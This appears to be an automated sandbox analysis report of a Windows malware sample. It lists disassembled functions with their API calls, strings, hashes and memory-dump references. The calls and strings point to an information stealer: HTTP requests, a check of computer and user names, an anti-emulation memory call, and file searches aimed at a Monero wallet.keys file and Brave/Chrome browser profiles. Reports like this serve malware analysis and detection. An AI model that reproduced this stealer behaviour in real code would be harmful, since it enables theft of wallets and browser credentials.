Instruction ID: c17c8fc7fd6d950a1b9e7ee261f4348e56015d41bcc0d20ee3862ea7cc09cdf6
Opcode Fuzzy Hash: 4949f813d2fe20f6099ffc16aea377a723c3ce32d236ec39437ed7c02a325574
Instruction Fuzzy Hash: 31F05E70940219AFE700EBA1DC0ABBD7B74FB05701F144925F516B11C5CBB05584FA6B

Function 00C347B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C34839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00C34849

Strings

<, xrefs: 00C347C9

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: ba5f952cd25be4d0e55bc58461073e9ee18b2c5fe0c46579d138efe12390d4b9
Instruction ID: ae49a607952d6b907e8f8705630b5dc700e63bdea77f3d4a283c1b590e761bf4
Opcode Fuzzy Hash: ba5f952cd25be4d0e55bc58461073e9ee18b2c5fe0c46579d138efe12390d4b9
Instruction Fuzzy Hash: 7A214FB1D00208ABDF14DFA5EC46ADD7B75FB44320F108625F915A72D0DB706A0ADF91

Function 00C451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Part of subcall function 00C36280: InternetOpenA.WININET(00C50DFE,00000001,00000000,00000000,00000000), ref: 00C362E1
Part of subcall function 00C36280: StrCmpCA.SHLWAPI(?,019DE580), ref: 00C36303
Part of subcall function 00C36280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C36335
Part of subcall function 00C36280: HttpOpenRequestA.WININET(00000000,GET,?,019DDC28,00000000,00000000,00400100,00000000), ref: 00C36385
Part of subcall function 00C36280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00C363BF
Part of subcall function 00C36280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C363D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C45228

Strings

ERROR, xrefs: 00C45273
ERROR, xrefs: 00C4521A

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: e3871d914ac265c38273077ce9b3f5311ac331bcac5465da67ad4de592312fb5
Instruction ID: 9b9cc00b9739a899c52114db704eba6f94c09435564f422ca5af65f8b32b8d86
Opcode Fuzzy Hash: e3871d914ac265c38273077ce9b3f5311ac331bcac5465da67ad4de592312fb5
Instruction Fuzzy Hash: 27113030950108ABEB14FF61DD52AED7738BF50300F404168FC1A5B193EF30AB09EA92

Function 00C31110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00C3112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00C31132
ExitProcess.KERNEL32 ref: 00C31143

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 77dfba2fc83e2540d812facb73b46544bddda024934cbb0b698240a46fdb5928
Instruction ID: 4f885f13fd2e57bff0f6a39fe4e3988c18fe059a154631ea9fa5b531d114a31c
Opcode Fuzzy Hash: 77dfba2fc83e2540d812facb73b46544bddda024934cbb0b698240a46fdb5928
Instruction Fuzzy Hash: 87E08670955308FFE714EBA19C0EB0C76B8AB44B02F140055F70D761C0C6B42644969A

Function 00C310A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00C310B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00C310F7

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 94501f90c781e642ef4c93cd4a87f593a7918701cbb56573855b921afbba730a
Instruction ID: 2f1178416b60e9c5da4d8fc8a2b4b5fc8350a0c48373e1057cd390b14c69acee
Opcode Fuzzy Hash: 94501f90c781e642ef4c93cd4a87f593a7918701cbb56573855b921afbba730a
Instruction Fuzzy Hash: A8F0E2B1641208BFE718EAA4AC49FAEB7E8E705B15F300458F904E7280D5719F44DAA1

Function 00C31190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00C478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C47910
Part of subcall function 00C478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00C47917
Part of subcall function 00C478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00C4792F

Part of subcall function 00C47850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00C311B7), ref: 00C47880
Part of subcall function 00C47850: RtlAllocateHeap.NTDLL(00000000), ref: 00C47887
Part of subcall function 00C47850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00C4789F

ExitProcess.KERNEL32 ref: 00C311C6

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: f35501b9a6c8bfea535999b7c7bcb1a9bdfdb8afe4d3e9f58bfc0384a98e249b
Instruction ID: a4234cc96322c9c090caef9ec00301c7ae563ff523879008550502907ddae38b
Opcode Fuzzy Hash: f35501b9a6c8bfea535999b7c7bcb1a9bdfdb8afe4d3e9f58bfc0384a98e249b
Instruction Fuzzy Hash: D0E012B59143015BCA00B7B1AC0AB2E329CAB5474AF0C0939FA09F2142FB65E949A666

Non-executed Functions

Function 00C438B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C438CC
FindFirstFileA.KERNEL32(?,?), ref: 00C438E3
lstrcat.KERNEL32(?,?), ref: 00C43935
StrCmpCA.SHLWAPI(?,00C50F70), ref: 00C43947
StrCmpCA.SHLWAPI(?,00C50F74), ref: 00C4395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00C43C67
FindClose.KERNEL32(000000FF), ref: 00C43C7C

Strings

%s\*, xrefs: 00C438C0
%s%s, xrefs: 00C43AAD
%s\%s, xrefs: 00C4397A
%s\%s, xrefs: 00C43A6F
%s\%s\%s, xrefs: 00C43A4A

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: a4b1625531b62538ad78a6576645faaa9633fd83d5fe6fb6648dc9e2e2d38a0e
Instruction ID: 404778ecc219565c922bda3c78bf3bdf61b20afa5c36fb8d50f95d3ddbbbe026
Opcode Fuzzy Hash: a4b1625531b62538ad78a6576645faaa9633fd83d5fe6fb6648dc9e2e2d38a0e
Instruction Fuzzy Hash: 04A142B1A002189FDB24EFA5DC85FEE7378FB94301F084598E51DA6141EB759B88CF62

Function 00C3BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

FindFirstFileA.KERNEL32(00000000,?,00C50B32,00C50B2B,00000000,?,?,?,00C513F4,00C50B2A), ref: 00C3BEF5
StrCmpCA.SHLWAPI(?,00C513F8), ref: 00C3BF4D
StrCmpCA.SHLWAPI(?,00C513FC), ref: 00C3BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00C3C7BF
FindClose.KERNEL32(000000FF), ref: 00C3C7D1

Strings

Brave, xrefs: 00C3C102
Preferences, xrefs: 00C3C11E
Google Chrome, xrefs: 00C3C634
\Brave\Preferences, xrefs: 00C3C1DB

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 251edb2f9d12c73bd8577ee3b995e580b9dea81eb5e0a1cb95bc9af32c0ca966
Instruction ID: 8d1f464f53db852cc4946b21991c02bdfbcb554744b4cd2db0ac491c5a4dfc3c
Opcode Fuzzy Hash: 251edb2f9d12c73bd8577ee3b995e580b9dea81eb5e0a1cb95bc9af32c0ca966
Instruction Fuzzy Hash: 3A426372950104ABEB14FB70DD96EED737DBF94300F404568F90AA6091EF34AB49DBA2

Function 00C44910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C4492C
FindFirstFileA.KERNEL32(?,?), ref: 00C44943
StrCmpCA.SHLWAPI(?,00C50FDC), ref: 00C44971
StrCmpCA.SHLWAPI(?,00C50FE0), ref: 00C44987
FindNextFileA.KERNEL32(000000FF,?), ref: 00C44B7D
FindClose.KERNEL32(000000FF), ref: 00C44B92

Strings

%s\*, xrefs: 00C44920
%s\%s, xrefs: 00C449FB
%s\%s, xrefs: 00C449A4

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 0052fc76fa49e94281ad05ff2e1fd32084d39e035bfcc70c3de49b84f55f1965
Instruction ID: a352f25004cf526c3a341c9ccad46b67003784b91eb1503246c3cc379bc01c3d
Opcode Fuzzy Hash: 0052fc76fa49e94281ad05ff2e1fd32084d39e035bfcc70c3de49b84f55f1965
Instruction Fuzzy Hash: 9D6132B2510218AFDB24EBE1DC49FEE737CBB98701F044598E50DA6141EB719B89CF91

Function 00C44570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00C44580
RtlAllocateHeap.NTDLL(00000000), ref: 00C44587
wsprintfA.USER32 ref: 00C445A6
FindFirstFileA.KERNEL32(?,?), ref: 00C445BD
StrCmpCA.SHLWAPI(?,00C50FC4), ref: 00C445EB
StrCmpCA.SHLWAPI(?,00C50FC8), ref: 00C44601
FindNextFileA.KERNEL32(000000FF,?), ref: 00C4468B
FindClose.KERNEL32(000000FF), ref: 00C446A0
lstrcat.KERNEL32(?,019DE510), ref: 00C446C5
lstrcat.KERNEL32(?,019DD218), ref: 00C446D8
lstrlen.KERNEL32(?), ref: 00C446E5
lstrlen.KERNEL32(?), ref: 00C446F6

Strings

%s\%s, xrefs: 00C4461B
%s\*, xrefs: 00C4459A

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 26e06e9054ccaafbdbccfe2ffc29c7363d42788318e2c73957e509c20fd99df6
Instruction ID: fda08bea7a7377850ac70992260fc8ed6d0a70d10086858a961417ce3bbaf0f7
Opcode Fuzzy Hash: 26e06e9054ccaafbdbccfe2ffc29c7363d42788318e2c73957e509c20fd99df6
Instruction Fuzzy Hash: 225143B2550218AFC724EBB0DC89BED737CBB94301F444599F61DA2190EB749BC88F92

Function 00C43EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C43EC3
FindFirstFileA.KERNEL32(?,?), ref: 00C43EDA
StrCmpCA.SHLWAPI(?,00C50FAC), ref: 00C43F08
StrCmpCA.SHLWAPI(?,00C50FB0), ref: 00C43F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00C4406C
FindClose.KERNEL32(000000FF), ref: 00C44081

Strings

%s\%s, xrefs: 00C43EB7

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: d7380254acc4a9e0fe6fffd6fa9507c43e38a8be3382c8b8263b9b051e54673e
Instruction ID: e15ac7b7fea8b75190069160d230e665734425f5aa783811955751221cacef27
Opcode Fuzzy Hash: d7380254acc4a9e0fe6fffd6fa9507c43e38a8be3382c8b8263b9b051e54673e
Instruction Fuzzy Hash: 975166B2900218AFDB24FBB1DC85EFE737CBB94300F044598B65DA6040DB759B898F55

Function 00C3ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C3ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00C3ED55
StrCmpCA.SHLWAPI(?,00C51538), ref: 00C3EDAB
StrCmpCA.SHLWAPI(?,00C5153C), ref: 00C3EDC1
